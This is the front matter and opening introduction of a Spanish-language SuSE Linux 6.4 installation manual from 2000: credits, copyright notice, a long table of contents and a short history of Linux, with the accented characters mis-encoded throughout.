home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2000 May
/
Chip_2000-05_cd2.bin
/
docu
/
ascii
/
suselxes.txt
next >
Wrap
Text File
|
2000-03-25
|
2MB
|
34,860 lines
Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff,
Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter,
Jⁿrgen Geck, Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek,
Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn,
Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart,
Marc Rⁿhrschneck, Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild, Gabriele
Strattner, J÷rg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber,
Michael Weyrauch, Stefan Wintermeyer, Christian Zoz
SuSE Linux 6.4
Instalaci≤n, Configuraci≤n y primeros
pasos
SuSE GmbH
SchanzΣckerstr. 10
D-90443 Nⁿrnberg
Tel.: +49 9 11 / 7 40 53 31 (Ventas)
apartado H.2.1)
Fax.: +49 9 11 / 7 41 77 55 (Ventas)
E-Mail: suse@suse.de
WWW: http://www.suse.de
Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle,
Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jⁿrgen Geck,
Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek, Florian La Roche,
Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio,
Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rⁿhrschneck,
Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild, Gabriele Strattner, J÷rg Strebel, Steve
Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch,
Stefan Wintermeyer, Christian Zoz
Instalaci≤n, Configuraci≤n y primeros pasos con SuSE Linux 6.4
17. Edici≤n actualizada 2000
SuSE GmbH
ISBN 3-934678-07-6 (Manual y CDs)
Copyright
Esta obra es propiedad intelectual de SuSE GmbH.
Se permite la copia de este trabajo ya sea de forma completa o bien en forma de
extractos, bajo la condici≤n que cada copia estΘ acompa±ada de esta nota de
Copyright.
Satz: ALTE X
Dise±o de portada con un grßfico de Stephan Endra▀.
Linux es una marca registrada de Linus Torvalds. XFree86 TM es una marca
registrada de The XFree86 Project, Inc. MS-DOS, Windows, Windows 95,
Windows 98 y Windows NT son marcas registradas de Microsoft Corporation.
UNIX es una marca registrada de X/Open Company Limited. Otras marcas
registradas son: Clipper de Computer Associates, dBASE de Borland, Foxbase
de Microsoft, Compuserve, T-Online de Deutsche Telekom, SuSE y YaST de
SuSE GmbH . Otros productos mencionados en este manual tambiΘn pueden ser
marcas registradas de sus respectivos fabricantes sin menci≤n explφcita de ello.
ISBN 3-934678-07-6 (Manual y CDs)
═ndice General
I Prefacio 1
1 Introducci≤n 3
1.1 ┐QuΘ es ''Linux''? . . . . . . . 4
1.2 Intenci≤n del libro y consejos para su uso . . . 5
1.3 La leyenda ~ o lo que significa ''tierra: # ls'' . 6
1.4 La lucha con la cantidad de pßginas . . . . 7
1.4.1 Banco de datos de soporte . . . . 8
1.4.2 Ayuda en hipertexto . . . . . 8
1.4.3 Texinfo e Info . . . . . . . 8
1.4.4 Manuales de Unix (''Manual-Pages'') . . 8
1.4.5 Los ficheros FAQ-, HowTo- y README . . 9
1.4.6 Libros gratuitos . . . . . . 10
1.5 MΘritos . . . . . . . . . 10
II Instalaci≤n SuSE Linux 15
2 La primera instalaci≤n de SuSE Linux 17
2.1 íDirecto al Θxito! . . . . . . . . 17
2.1.1 Preparativos breves . . . . . . 17
2.1.2 A continuaci≤n: La pantalla de bienvenida . 18
2.1.3 íAllφ estß: YaST2 ! . . . . . . 19
2.1.4 Selecci≤n del idioma . . . . . 20
2.1.5 Selecci≤n del mouse . . . . . 20
2.1.6 Determinar el teclado y zona horaria . . 21
2.1.7 ┐Instalaci≤n nueva o Actualizaci≤n? . . 21
2.1.8 Preparar el disco duro . . . . . 21
2.1.9 Selecci≤n del software . . . . . 22
*
* i
═ndice General _________________________________________________________________________________________________________________*
*_______________________________________@
2.1.10 LILO ~ Gestor de arranque . . . . 24
2.1.11 Informaci≤n de usuario . . . . . 25
2.1.12 Establecer contrase±a de `root' . . . 26
2.1.13 Confirmaci≤n e inicio de la instalaci≤n . . 26
2.1.14 Preparaci≤n del entorno grßfico . . . 27
2.1.15 Configurar hardware adicional . . . . 27
2.1.16 Primer ''login'' al sistema . . . . 28
2.1.17 Configuraciones adicionales y trabajo con el sistema 28
2.2 Instalaci≤n con YaST en modo texto (YaST 1) . . 30
2.2.1 La situaci≤n principal . . . . . 30
2.2.2 A continuaci≤n: La pantalla de bienvenida . 30
2.2.3 La base: linuxrc . . . . . . 31
2.2.4 Arrancar YaST . . . . . . 35
2.2.5 Particionar y formatear el disco duro . . 36
2.2.6 Comenzar la instalaci≤n del software . . 37
2.2.7 Elecci≤n del software bßsico . . . . 38
2.2.8 Instalaci≤n de software . . . . . 39
2.2.9 Seleccionar kernel . . . . . . 40
2.2.10 Configuraci≤n bßsica con YaST . . . 41
2.2.11 Entrar al sistema despuΘs de la primera instalaci≤n 45
2.3 ┐C≤mo se debe arrancar Linux? . . . . . 47
2.4 Instalaci≤n sin soporte del lector CD-ROM . . . 49
2.4.1 Instalaci≤n desde una partici≤n DOS . . 49
2.4.2 Instalaci≤n desde una fuente en la ''red'' . . 51
2.5 Otra vφa de instalaci≤n: Con setup y loadlin . . . 53
2.5.1 Activar modo DOS de Windows 95 . . . 53
2.5.2 Arrancar Setup y su primera parte . . . 53
2.5.3 ┐C≤mo se arranca el Linux originario desde setup ? 54
2.5.4 Instalar loadlin y arrancar Linux originario . 54
2.6 Bloques de informaci≤n . . . . . . 57
2.6.1 Hacer espacio para Linux (particionar) . . 57
2.6.2 Arrancar con el CD 2 . . . . . 59
2.6.3 Crear un disquete de arranque bajo DOS . . 59
2.6.4 Crear un disquete de arranque bajo Unix . . 61
2.6.5 ┐Linux soporta mi lector CD-ROM? . . 61
2.7 Descripci≤n de problemas . . . . . . 63
2.7.1 Ficheros inamovibles . . . . . 63
2.7.2 La distribuci≤n del teclado en modo MS-DOS no es
correcta . . . . . . . . *
* 63
2.7.3 No hay driver de CD-ROM en modo MS-DOS 63
ii
_____________________________________________________________________________________________________________═ndice_General_*
*______________________
2.7.4 El CD es defectuoso . . . . . 64
2.7.5 Un lector CD-ROM ATAPI se traba leyendo . 64
2.7.6 Lectores CD-ROM en el puerto paralelo . . 65
2.7.7 Lectores CD-ROM ''propietarios'' . . . 65
2.7.8 Thinkpad ''se duerme'' durante la instalaci≤n . 66
2.7.9 loadlin necesita mßs memoria para cargar el kernel 66
2.7.10 loadlin no funciona . . . . . . 66
2.7.11 DOS se encuentra en modo protegido . . 66
2.7.12 Letra de unidad del lector CD-ROM . . 67
2.7.13 Problemas generales de hardware . . . 67
2.8 Particionar para principiantes . . . . . 70
2.9 Particionar para avanzados . . . . . . 71
2.9.1 El tama±o de la partici≤n de intercambio (swap) 72
2.9.2 Formas de uso de la computadora . . . 73
2.9.3 Posibilidades de optimizaci≤n . . . . 74
2.10 Configuraci≤n manual del disco duro . . . . 77
2.10.1 Establecer particiones . . . . . 77
2.10.2 Fijar sistemas de fichero y ''Mountpoints'' . 79
3 YaST ~ Yet another Setup Tool 83
3.1 Uso y distribuci≤n de teclado . . . . . 83
3.2 El men· principal de YaST . . . . . . 83
3.3 Ajustes de la instalaci≤n . . . . . . 84
3.3.1 Definir el idioma . . . . . . 84
3.3.2 Distribuci≤n de teclado . . . . . 85
3.3.3 El medio de instalaci≤n . . . . . 85
3.3.4 Instalaci≤n desde CD-ROM . . . . 86
3.3.5 Instalaci≤n desde una partici≤n del disco duro . 86
3.3.6 Instalaci≤n vφa NFS . . . . . . 86
3.3.7 Instalaci≤n desde una partici≤n . . . 88
3.3.8 Instalaci≤n vφa FTP . . . . . . 88
3.4 Particionar disco(s) duro(s) . . . . . . 90
3.4.1 Establecer partici≤n/sistema de ficheros destino 91
3.4.2 Configurar el Logical Volume Manager . . 95
3.4.3 Instalaci≤n dentro de un directorio . . . 95
3.5 Escoger / Instalar paquetes . . . . . . 96
3.5.1 Cargar configuraci≤n . . . . . 96
3.5.2 Salvar configuraci≤n . . . . . 97
3.5.3 Cambiar / Crear configuraci≤n . . . . 97
3.5.4 ┐QuΘ pasarφa si...? . . . . . . 99
*
* iii
═ndice General _________________________________________________________________________________________________________________*
*_______________________________________@
3.5.5 Empezar instalaci≤n . . . . . 99
3.5.6 Comprobar las dependencias . . . . 99
3.5.7 Listado de las series y paquetes . . . 100
3.5.8 Informaci≤n sobre paquetes . . . . 100
3.5.9 Instalar paquetes . . . . . . 100
3.5.10 Eliminar/Borrar paquetes . . . . 101
3.6 Actualizar el sistema . . . . . . . 102
3.7 Administraci≤n del sistema . . . . . . 102
3.7.1 Instalar hardware en el sistema . . . 102
3.7.2 Configuraci≤n del kernel y arranque . . 105
3.7.3 Configuraci≤n de red . . . . . 108
3.7.4 Configurar sistema Live . . . . . 110
3.7.5 Configuraci≤n del Login . . . . . 111
3.7.6 Opciones susewm . . . . . . 111
3.7.7 Administraci≤n de usuarios . . . . 112
3.7.8 Administraci≤n de grupos . . . . 114
3.7.9 Crear respaldos/backups . . . . . 115
3.7.10 Configuraciones de seguridad . . . . 116
3.7.11 Configurar XFree86[tm] . . . . . 116
3.7.12 Cambiar fichero de configuraci≤n . . . 116
4 Arrancar y gestor de arranque 119
4.1 El proceso de arranque en un PC . . . . . 119
4.2 Conceptos de arranque . . . . . . 120
4.3 Resumen de LILO . . . . . . . 122
4.4 LILO α la carte: La configuraci≤n . . . . 125
4.4.1 El contenido del fichero lilo.conf . . 125
4.4.2 Otras opciones de configuraci≤n (Selecci≤n) . 128
4.5 Instalaci≤n y desinstalaci≤n de LILO . . . . 131
4.6 Generar disquete de arranque de Linux . . . 133
4.7 Ejemplos de Configuraciones . . . . . 135
4.7.1 DOS/Windows 95/98 y Linux . . . . 135
4.7.2 Windows NT y Linux en un disco duro . . 136
4.7.3 OS/2 y Linux . . . . . . . 137
4.7.4 DOS, OS/2 y Linux . . . . . . 138
4.8 Problemas con LILO . . . . . . . 138
4.8.1 Diagn≤stico de errores: Mensajes de inicio de LILO 139
4.8.2 El lφmite de 1024 cilindros . . . . 140
4.8.3 Problemas especiales de arranque con el kernel a
partir de 2.0 . . . . . . . *
*141
iv
_____________________________________________________________________________________________________________═ndice_General_*
*______________________
4.9 Configuraci≤n del mecanismo de arranque con loadlin . 143
4.9.1 Ficheros necesarios para loadlin . . . 144
4.9.2 Personalizar men·s de arranque . . . 145
4.9.3 Iniciar Linux desde Windows . . . . 147
4.9.4 El men· de arranque de Windows . . . 147
III Configuraci≤n de red 151
5 Linux en la red 153
5.1 Configuraci≤n con YaST . . . . . . 156
5.2 Configuraci≤n manual de la red ~ ┐D≤nde tocar? . . 157
5.2.1 Ficheros de configuraci≤n . . . . 158
5.2.2 Scripts de arranque (Startup-Sripts) . . . 163
5.3 Routing en SuSE Linux . . . . . . 165
5.4 NIS, las pßginas amarillas del LAN . . . . 166
5.4.1 ┐QuΘ es NIS? . . . . . . . 166
5.4.2 Configuraci≤n de un cliente NIS . . . 166
5.4.3 Servidor NIS-Master y Slave . . . . 168
5.5 NFS ~ sistemas de ficheros distribuidos . . . 168
5.5.1 Importar sistemas de ficheros . . . . 168
5.5.2 Exportar sistemas de ficheros . . . . 168
6 Conectarse con el mundo ~ RDSI, PPP, Fax. . . 171
6.1 PPP . . . . . . . . . . 172
6.1.1 Requisitos para PPP . . . . . 172
6.1.2 Informaci≤n adicional sobre PPP . . . 172
6.2 Acceso a Internet vφa RDSI ~ la configuraci≤n . . 173
6.2.1 Configurar RDSI ~ paso por paso . . . 174
6.2.2 Introducci≤n . . . . . . . 175
6.2.3 Configuraci≤n del hardware RDSI . . . 175
6.2.4 Configuraci≤n del hardware RDSI con YaST . 176
6.2.5 Configuraci≤n de acceso a Internet vφa RDSI . 180
6.2.6 Mensaje RDSI . . . . . . 184
6.3 Modem cable . . . . . . . . 188
6.3.1 Principios . . . . . . . 188
6.4 T-DSL, T-ISDN-DSL, ADSL. . . . . . . . 189
6.5 Conexi≤n de modem . . . . . . . 189
6.6 Con el modem a Internet: PPP con wvdial . . . 190
6.6.1 Configuraci≤n de wvdial . . . . . 190
*
* v
═ndice General _________________________________________________________________________________________________________________*
*_______________________________________@
6.6.2 Configurar varios proveedores con wvdial . 193
6.6.3 Adaptadores de terminal para RDSI . . . 194
6.6.4 Configuraci≤n de modems PCI . . . 196
6.6.5 Configuraci≤n manual de PPP para ''profesionales'' 197
6.7 Masquerading y Firewall ~ amigos y ''amiguetes'' . 201
6.7.1 Fundamentos de ''Masquerading'' . . . 201
6.7.2 Principios de un cortafuegos . . . . 202
6.7.3 Configuraci≤n de Masquerading y/o Firewall . 202
6.8 Vamos a escribir ~ Configuraci≤n de sendmail . . 204
6.9 News: Las noticias mßs actuales de USENET . . 207
6.9.1 El sistema de noticias Leafnode . . . 207
6.10 Linux + Fax: íUna buena combinaci≤n! . . . 209
6.10.1 SuSEFax ~ Un cliente para HylaFAX . . 210
6.10.2 Generaci≤n automßtica de portada . . . 218
6.10.3 Fax-Spooling en UNIX /Linux . . . . 219
6.10.4 HylaFAX ~ Gesti≤n distribuida de faxes . . 220
7 Bailemos samba. . . 227
7.1 Introducci≤n . . . . . . . . 2*
*27
7.2 Instalaci≤n del servidor . . . . . . 229
7.3 Instalaci≤n de los clientes . . . . . . 232
7.4 Optimizaci≤n . . . . . . . . 232
IV El sistema X Window 235
8 El sistema X Window 237
8.1 Configuraci≤n con SaX . . . . . . 238
8.1.1 Primera instalaci≤n . . . . . . 238
8.1.2 Reconfiguraci≤n . . . . . . 246
8.1.3 Resoluci≤n de problemas . . . . . 246
8.1.4 Inicio del sistema X Window . . . . 247
8.1.5 Configuraci≤n de la tarjeta grßfica: Problemas y
soluciones . . . . . . . 2*
*47
8.2 Configuraci≤n con xf86config . . . . . 248
8.3 Optimizaci≤n de la instalaci≤n del sistema X Window . 256
vi
_____________________________________________________________________________________________________________═ndice_General_*
*______________________
9 El Windowmanager ~ La ventana a su PC 261
9.1 Teorφa sobre el entorno grßfico . . . . . 261
9.1.1 Estructura del sistema X Window . . . 261
9.1.2 ┐QuΘ administra el ''windowmanager''? . . 264
9.1.3 Iniciar los distintos gestores de ventana . . 265
9.2 KDE ~ K Desktop Environment . . . . . 266
9.2.1 Generalidades . . . . . . . 267
9.2.2 kdm ~ ''login'' grßfico . . . . . 268
9.2.3 ┐QuΘ es lo fabuloso del KDE? . . . . 268
9.3 El Fvwm . . . . . . . . . 271
9.4 Ajustes del Fvwm . . . . . . . 273
9.4.1 Autoraise . . . . . . . 276
9.5 Configuraci≤n del windowmanager con SuSEwm . 277
9.5.1 A±adir opciones al men· . . . . . 278
9.6 Configuraci≤n general del sistema X Window . . 281
V Hardware bajo Linux 285
10 Linux y el hardware adicional 287
10.1 Introducci≤n . . . . . . . . 287
10.2 Tarjetas de expansi≤n . . . . . . . 287
10.2.1 Tarjetas ISA y PCI . . . . . . 287
10.3 Tarjetas de sonido . . . . . . . 290
10.3.1 OSS y versiones de demostraci≤n de OSS . 291
10.3.2 ┐C≤mo se configuran las tarjetas de sonido bajo Lin-
ux? . . . . . . . . . 291
10.4 Las interfaces de la computadora . . . . . 299
10.4.1 Conexiones PS/2 . . . . . . 300
10.4.2 Conexiones de puerto serie . . . . 300
10.4.3 Conexiones de puerto paralelo . . . . 300
10.4.4 USB ~ Universal Serial Bus . . . . 302
10.5 Unidades de almacenamiento removibles . . . 302
10.5.1 Disqueteras . . . . . . . 302
10.5.2 Disqueteras LS-120 . . . . . . 302
10.5.3 Disqueteras ZIP . . . . . . 303
10.6 Modems . . . . . . . . . 304
10.6.1 Modem externo . . . . . . 304
10.6.2 Modem interno . . . . . . 304
10.7 Escßner . . . . . . . . . 305
10.8 Cintas / Streamer . . . . . . . 307
10.9 Tarjetas TV . . . . . . . . . 308
*
* vii
═ndice General _________________________________________________________________________________________________________________*
*_______________________________________@
11 Portßtiles ~ PCMCIA, APM, IrDA 309
11.1 PCMCIA . . . . . . . . . 309
11.1.1 El hardware . . . . . . . 309
11.1.2 El software . . . . . . . 3*
*10
11.1.3 La configuraci≤n . . . . . . 310
11.1.4 Configuraci≤n variable ~ ''Esquemas'' . . 312
11.1.5 En caso de problemas. . . . . . . . 315
11.1.6 Instalaci≤n vφa PCMCIA . . . . . 317
11.1.7 Utilidades adicionales . . . . . 317
11.2 APM ~ Gesti≤n de potencia . . . . . . 318
11.2.1 Fundamentos . . . . . . . 318
11.2.2 El kernel correcto . . . . . . 319
11.2.3 El daemon APM . . . . . . 319
11.2.4 Comandos adicionales . . . . . 320
11.2.5 Parar el disco duro . . . . . . 320
11.3 IrDA ~ Infrared Data Association . . . . 321
12 Impresoras 325
12.1 Sinopsis: Interfaces, colas (spooling) . . . . 325
12.1.1 Spooling, colas de impresi≤n . . . . 326
12.2 Colas de impresi≤n: Funcionamiento y configuraci≤n . 327
12.3 Filtros de impresi≤n ~ el ''apsfilter'' . . . . 331
12.4 Impresoras de red con apsfilter . . . . . 337
12.5 Ghostscript . . . . . . . . . *
*339
12.6 Listado de las impresoras soportadas . . . . 340
12.7 Lista de comprobaci≤n: apsfilter . . . . . 345
VI El kernel y sus parßmetros 347
13 El kernel 349
13.1 Las fuentes del kernel . . . . . . . 349
13.2 M≤dulos del kernel . . . . . . . 350
13.3 Configuraci≤n del kernel . . . . . . 352
13.4 Ajustes en la configuraci≤n del kernel . . . . 353
13.5 Compilaci≤n del kernel . . . . . . 353
13.6 Instalaci≤n del kernel . . . . . . . 354
13.7 Generar un disquete de arranque . . . . . 355
13.8 Limpieza del disco despuΘs de la compilaci≤n del kernel 355
viii
_____________________________________________________________________________________________________________═ndice_General_*
*______________________
14 Parßmetros del kernel 357
14.1 Drivers del kernel . . . . . . . 357
14.2 Algunos consejos . . . . . . . 358
14.3 Los parßmetros . . . . . . . . 359
14.3.1 Anotaci≤n y significado . . . . . 359
14.3.2 Parßmetros del kernel en el Boot-Prompt . . 360
14.3.3 Lectores CD-ROM en controladora propietaria 370
14.3.4 Parßmetros de modprobe . . . . 373
VII SuSE Linux: Actualizaci≤n y particularidades 391
15 Actualizaci≤n del sistema ~ Gesti≤n de paquetes 393
15.1 Actualizaci≤n de SuSE Linux . . . . . 393
15.1.1 Preparativos . . . . . . . 393
15.1.2 Actualizaci≤n con YaST2 . . . . 394
15.1.3 Actualizaci≤n con YaST1 . . . . 394
15.1.4 Actualizaci≤n de paquetes especφficos . . 396
15.2 De versi≤n a versi≤n . . . . . . . 396
15.2.1 De versi≤n 4.x a 5.0 . . . . . 397
15.2.2 De versi≤n 5.0 a 5.1 . . . . . 397
15.2.3 De versi≤n 5.1 a 5.2 . . . . . 398
15.2.4 De versi≤n 5.2 a 5.3 . . . . . 398
15.2.5 De versi≤n 5.3 a 6.0 . . . . . 399
15.2.6 De versi≤n 6.0 a 6.1 . . . . . 400
15.2.7 De versi≤n 6.1 a 6.2 . . . . . 400
15.2.8 De 6.2 a 6.3 . . . . . . . 401
15.2.9 De 6.3 a 6.4 . . . . . . . 403
15.3 RPM ~ El gestor de paquetes . . . . . 405
15.3.1 Instalar, actualizar y desinstalar paquetes. . 405
15.3.2 Consultas . . . . . . . 406
15.3.3 Instalar y compilar los paquetes fuente . . 408
15.3.4 Herramientas para los archivos RPM y el banco de
datos RPM . . . . . . . 410
16 Particularidades de SuSE Linux 411
16.1 Filesystem Hierarchy Standard (FHS) y Linux Standard
Base (LSB) . . . . . . . . . 411
16.1.1 Entornos de ejemplo para FTP y HTTP . . 411
16.1.2 teTeX ~ TEX en SuSE Linux . . . . 411
16.2 Arrancar con ''initial ramdisk'' . . . . . 411
*
* ix
═ndice General _________________________________________________________________________________________________________________*
*_______________________________________@
16.2.1 El concepto ''initial ramdisk'' . . . . 412
16.2.2 Procedimiento del arranque con initrd . . 412
16.2.3 Bootloader . . . . . . . 413
16.2.4 Uso de initrd en SuSE Linux . . . 414
16.2.5 Posibles problemas ~ Kernel compilado a medida 415
16.2.6 El futuro . . . . . . . . *
* 415
16.3 linuxrc . . . . . . . . . *
* 417
16.4 El sistema de ayuda para SuSE Linux . . . . 422
16.4.1 Configuraci≤n para estaci≤n de trabajo o servidor 423
16.4.2 Configuraci≤n para una computadora en modo
cliente . . . . . . . . *
* 424
16.4.3 Usar el sistema de ayuda . . . . . 424
16.5 El sistema de rescate de SuSE . . . . . 425
16.6 Indicaciones sobre paquetes especiales . . . 429
16.6.1 paquete cron . . . . . . . 429
16.6.2 paquete curses . . . . . . 429
16.6.3 Fuentes del paquete uucp . . . . 429
16.6.4 Manual-Pages . . . . . . . 429
16.7 Distribuci≤n de teclado . . . . . . 430
17 El concepto de arranque de SuSE Linux 431
17.1 El init -Programm . . . . . . . 431
17.2 Los Runlevel . . . . . . . . 432
17.3 Cambio del Runlevel . . . . . . . 433
17.4 Los Init-scripts . . . . . . . . 4*
*34
17.5 /etc/rc.config y SuSEconfig . . . . . 435
17.6 Las variables en /etc/rc.config ~ Configuraci≤n de sis-
tema . . . . . . . . . . *
* 437
VIII Seguridad y otros buenos consejos 449
18 Seguridad y Confianza 451
18.1 Fundamentos . . . . . . . . 451
18.1.1 Seguridad local . . . . . . 452
18.1.2 Seguridad en redes . . . . . . 455
18.2 Utilidades . . . . . . . . . *
* 457
18.2.1 Utilidades locales . . . . . . 457
18.2.2 Utilidades para la red . . . . . 461
18.3 Seguridad en SuSE Linux . . . . . . 465
18.4 Consejos generales . . . . . . . 466
x
_____________________________________________________________________________________________________________═ndice_General_*
*______________________
19 Introducci≤n a Linux 467
19.1 Hacer login, `root'-Usuario, introducci≤n de Usuario 467
19.2 Apagar y arrancar el sistema . . . . . 468
19.3 Comandos ~ lφnea de comandos . . . . . 469
19.4 Consolas virtuales . . . . . . . 471
19.5 Directorios y nombres de ficheros . . . . 471
19.6 Trabajar con directorios . . . . . . 472
19.7 Trabajar con ficheros . . . . . . . 472
19.7.1 Propiedades de los ficheros . . . . 472
19.7.2 Wildcards ~ Comodines . . . . . 474
19.7.3 El contenido de los ficheros . . . . 474
19.7.4 Ficheros ocultos . . . . . . 475
19.7.5 Copiar, renombrar y borrar ficheros . . . 476
19.7.6 B·squeda en ficheros . . . . . 476
19.7.7 Enlaces simb≤licos . . . . . . 477
19.7.8 Archivar y guardar Datos . . . . 477
19.8 Autorizaciones para ficheros . . . . . 478
19.8.1 El concepto de las autorizaciones . . . 478
19.9 Manual-Pages . . . . . . . . 480
19.10 Informaci≤n sobre el estado del sistema . . . 481
19.10.1 El comando df . . . . . . 481
19.10.2 El comando free . . . . . . 482
19.10.3 El comando ulimit . . . . . 482
19.10.4 El comando w . . . . . . . 483
19.10.5 El comando du . . . . . . 483
19.10.6 El comando kill . . . . . . 483
19.10.7 El comando ps . . . . . . 483
19.10.8 El comando pstree . . . . . 484
19.10.9 El comando top . . . . . . 484
19.11 Sistemas de fichero en Linux ~ mount y umount . . 484
19.11.1 Sistemas de ficheros . . . . . 484
19.11.2 Montaje y desmontaje de sistemas de ficheros . 485
19.12 Comandos DOS bajo Unix usando mtools . . . 486
19.13 Resumen de los comandos de Unix . . . . 488
19.14 Otras perspectivas . . . . . . . 489
19.15 El editor vi . . . . . . . . . 491
A Teclas y combinaciones importantes 493
B Glosario 495
*
* xi
═ndice General _________________________________________________________________________________________________________________*
*_______________________________________@
C El ßrbol de directorios 511
C.1 Vista general . . . . . . . . 5*
*11
C.2 Directorios importantes . . . . . . 512
D Ficheros importantes 513
D.1 Ficheros de dispositivos en el directorio /dev . . 513
D.1.1 Lectores CD-ROM . . . . . . 513
D.1.2 Unidades de cinta/Streamer . . . . 514
D.1.3 Mouse (Bus y PS/2) . . . . . 514
D.1.4 Modem . . . . . . . . 515
D.1.5 Puertos serie . . . . . . . 5*
*15
D.1.6 Puertos paralelos . . . . . . 515
D.1.7 Dispositivos especiales . . . . . 516
D.2 Ficheros de configuraci≤n en /etc . . . . 516
D.3 Ficheros de configuraci≤n ocultos en /home . . 517
E Manual-Page de e2fsck 519
F Las SuSE Linux-FAQ 523
G La licencia p·blica general GNU (GPL) 533
H Soporte y servicios de SuSE GmbH 541
H.1 60 dφas de soporte de instalaci≤n . . . . . 541
H.1.1 íSin registro, ning·n soporte! . . . . 541
H.1.2 Cobertura del soporte de instalaci≤n . . 541
H.2 íLa vφa mßs rßpida! . . . . . . . 542
H.2.1 ┐C≤mo contactar el equipo de soporte de SuSE ? 544
H.3 Servicios adicionales . . . . . . . 544
xii
Parte I
Prefacio
1
Capφtulo 1
Introducci≤n
La corta historia de Linux parece un cuento de hadas moderno: En el a±o
1991 el estudiante de informßtica Linus Torvalds comienza con la progra-
maci≤n de su propia versi≤n de Unix. Linus publica en Internet no solamente
los binarios, o sea los ejecutables en c≤digo mßquina, sino tambiΘn las fuentes
correspondientes. El rßpido crecimiento de Internet hace que centenares de
programadores de todo el mundo se apunten a su invitaci≤n y colaboren en
el desarrollo de Linux de forma altruista; su motivaci≤n es resolver prob-
lemas individualmente, trabajando en equipo o bien, les gusta a±adir nuevas
funcionalidades para perfeccionar el sistema. La ·nica condici≤n es la de pro-
porcionar nuevamente el trabajo realizado y su c≤digo fuente a la comunidad
de programadores. Este principio se manifiesta en la GNU General Public
License (GPL) que se encuentra en el anexo G en la pßgina 533.
Hoy en dφa hay muy buenas razonas para optar por Linux ya que, el sistema
ofrece estabilidad, seguridad y velocidad. TambiΘn cuenta la capacidad de
conectividad en redes que ha sido decisiva para la conquista de todo el mer-
cado de servidores. Los entendidos en Linux aprecian la disponibilidad del
c≤digo fuente, lo que proporciona al sistema operativo un alto nivel de inde-
pendencia y flexibilidad. Gracias a esta disponibilidad nadie estß a merced
de ning·n productor de software sino que es posible hacer adaptaciones y ex-
tensiones a gusto propio. Tampoco se deberφa olvidar que el uso de Linux no
exige la adquisici≤n de licencias; da igual si se usa el sistema en casa o para
la red de una empresa.
En realidad, lo que ha motivado a muchos productores de hardware y software
a apoyar fuertemente a Linux, ha sido el enorme interΘs por parte de los
usuarios y no por la multitud de argumentos en favor de Θste. Siemens , IBM
y Compaq son algunas de las grandes empresas que han descubierto Linux
como sistema operativo.
Ademßs de la gran cantidad de aplicaciones libres, cada vez hay mßs apli-
caciones de uso comercial para Linux. Productores de bases de datos como
Oracle , Informix , Software AG y Sybase al igual que productores de suites
ofimßticas como Applix , Corel o Star Division ofrecen sus productos para
Linux. Linux es eficiente, se estß mejorando continuamente y no cuesta na-
da! Teniendo en cuenta que existen mßs de 10 millones de usuarios entusias-
tas cuya cantidad crece continuamente, hay que reconocer que Linux cumple
todos los requisitos para un futuro estßndar industrial.
*
* 3
1. Introducci≤n _________________________________________________________________________________________________________________*
*_______________________________________@
Pero a·n hay mßs: ya existen a su disposici≤n dos entornos grßficos libres y
confortables (KDE y GNOME ) que cada vez mßs respaldan la idea de usar
tambiΘn Linux en los ''desktops''.
1.1 ┐QuΘ es ''Linux''?
Lo que realmente se entiende bajo el tΘrmino Linux es el + Kernel, el
''coraz≤n'' de cualquier sistema operativo tipo Unix.
Pero el kernel por sφ solo no forma todavφa un sistema operativo. Justamente
para Unix existe una multitud de software libre, lo que significa que estos
estßn tambiΘn disponibles para Linux. Son estas utilidades las que realmente
forman el sistema operativo.
En cuanto a las utilidades, se trata generalmente de la versi≤n GNU (+
GNU) de los programas correspondientes de Unix, los que incluso muchas
veces ofrecen mayor funcionalidad, siendo el mßs conocido el GNU C/C++
Compiler , uno de los mejores compiladores del mundo. Tampoco se deben
olvidar todas aquellas peque±as (o tambiΘn grandes) utilidades que se pueden
usar en la lφnea de comandos o en scripts: la oferta comienza con las utilidades
para shells, textos o ficheros como sed , awk y perl hasta editores (vi ) o
entornos de trabajo completos (Emacs ).
Todo se complementa con XFree86 TM (actualmente en la versi≤n 3.3.6), que
es el sistema X Window (actualmente X11, Release 6.3) para sistemas Unix
a base de PC. Esta versi≤n se ha portado de la distribuci≤n oficial X11R6.3
del consorcio X Consortium, Inc., lo que proporciona total compatibilidad a
este estßndar.
Todos estos componentes forman, junto a otros programas (p. ej. TEX, el
sistema profesional de tratamiento de textos) o tambiΘn juegos, el sistema
denominado Linux.
Como ya se ha mencionado, existe para Unix una cantidad casi infinita de
software libre, lo que permite a su vez componer una multitud de diferentes
sistemas Linux.
En este punto aparecen las distribuciones de Linux, como p. ej. en nuestro
caso, el SuSE Linux. Los encargados de una distribuci≤n contemplan la
enorme oferta de software libre y eligen los programas mßs adecuados. El
resultado de esta elecci≤n es en el caso de los SuSE Linux-CDs, un conjunto
que (actualmente ) mßs de 1000 paquetes de software; paquetes que por su
tama±o generalmente se distribuyen en forma de CD.
________________________________________________________________________________________________________*
*________
| *
* |||
| Aparte del software libre, SuSE Linux tambiΘn incorpora paquetes de pro- *
* |||
| gramas que solamente pueden ser distribuidos en forma compilada ya que, *
* |||
| *
* |||
| por razones diversas, SuSE no puede incluir las fuentes que se incluyen en *
* |||
| caso del software de libre distribuci≤n. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
A parte de esto, la mayorφa de las distribuciones estßn a disposici≤n en Inter-
net, asφ que no hace falta comprar una distribuci≤n para actualizar de vez en
cuando el sistema.
4
